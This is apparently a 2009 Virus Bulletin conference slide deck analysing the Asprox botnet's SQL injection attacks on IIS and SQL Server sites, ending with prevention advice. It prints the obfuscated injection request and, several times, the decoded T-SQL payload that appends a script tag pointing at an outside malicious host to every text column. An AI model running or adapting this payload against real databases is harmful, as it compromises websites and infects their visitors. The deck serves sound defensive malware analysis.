Botnet-Powered SQL Injection Attacks A Deeper Look Within

(VB, Sep. 2009)

David Maciejak
Guillaume Lovet

Agenda

The Beginning

May 2008: new Asprox Botnet variant

*using Google dorks to find SQL servers
*using HTTP Get bruteforce for SQL injection

=> millions reported attempts
=> many successful compromised targets

Agenda

Attack Analysis

First attack reported to us:

GET /page.asp?id=425;DECLARE%20@S
%20NVARCHAR(4000);SET%20
@S=CAST(0x4400450043004C004100520045002000400054
...0065005F0043007500720073006F007200%20AS
%20NVARCHAR(4000));EXEC(@S);--

*GET requests can be found in web server logs
*seems obfuscated SQL injection is appended to variable 'id' value

Attack Analysis

Clean up:

```
DECLARE @S NVARCHAR(4000);
SET @S=CAST(0x440045004300 ... AS NVARCHAR(4000));
EXEC(@S)
```

@S String variable is executed (EXEC function)
*CAST function is used to obfuscate chars, converts hexadecimal chars to ASCII value

Attack Analysis

How to decode 0x4400450043004C00410052004500... ?

*easy: NULL chars added between each chars

Hexa to ascii gives:

0x44 = D
0x45 = E
0x43 = C
0x4C = L
...

Using Perl Kung-Fu gives the whole code

```
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or
b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @
T,@C WHILE(@@FETCH_STATUS=0)
BEGIN
exec(‘update [‘+@T+’] set [‘+@C+’]=rtrim(convert(va
rchar,[‘+@C+’]))+’’<script src=http://www.directxx.
com/7.js></script>’’’)FETCH NEXT FROM Table_Cursor
INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
```

Attack Analysis

Facts:

*Asprox variant is searching for ASP pages
=> targeting Microsoft IIS

*the code is written in Transact-SQL
=> targeting Microsoft SQL Server

Attack Analysis

What does this statement do ?

```
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or
b.xtype=35 or b.xtype=231 or b.xtype=167)
```

It queries system tables named 'sysobjects' and 'syscolumns'

Attack Analysis

sysobjects xtype=’u’
=>filter data type object for User table

syscolumns xtype=99 or xtype=35 or xtype=231 or xtype=167
=>filter physical storage type for
35 (text), 99 (ntext), 167 (varchar), 231 (nvarchar)

= Statement returns all user tables and columns of type type.

```
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or
b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @
T,@C WHILE(@@FETCH_STATUS=0)
BEGIN
exec(‘update [‘+@T+’] set [‘+@C+’]=rtrim(convert(va
rchar,[‘+@C+’]))+’’<script src=http://www.directxx.
com/7.js></script>’’’)FETCH NEXT FROM Table_Cursor
INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
```

```
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or
b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @
T,@C WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(va
rchar,['+@C+']))+''<script src=hxxp://www.directxx.
com/7.js></script>''')FETCH NEXT FROM Table_Cursor
INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
```

Attack Analysis

```
exec(

‘update [‘+@T+’] set [‘+@ C+’]=
rtrim(convert(varchar,[‘+@ C+’]))

+

’’<script src=hxxp://www.directxx.com/7.js></script>’’

’)
```

execute statement

update statement

String conversion

string concatenation

malicious HTML snippet

Agenda

Malicious Injected JS

Redirects to all-in-one web exploit toolkit > 10 attacks
ActiveX, Flash, Quicktime, no PDF at that time

MS06-014, CVE-2007-0071, CVE-2008-3704,
CVE-2008-2463, BID:29118, CVE-2008-130,
CVE-2007-5601, CVE-2007-4816, CVE-2006-5820
CVE-2007-616, CVE-2007-5017, MS08-078

Purpose:

*download and execute malicious files on the victim's system

Agenda

Threat Evolution

* use of search engine to find victims

* more attacks, speed up in exploitation campaign

* not new, similar SQL injection trick was used in 2007
but not widely distributed

*T-SQL script evolving: version using iframe tag
or conditional infection

Threat Evolution

* use of search engine to find victims

* more attacks, speed up in exploitation campaign

* not new, similar SQL injection trick was used in 2007
but not widely distributed

*T-SQL script evolving: version using iframe tag
or conditional infection

Prevention

* web code analyzing, sanitize user input

* use IPS to filter incoming HTTP requests containing SQL patterns or web application firewall to force filtering

Thanks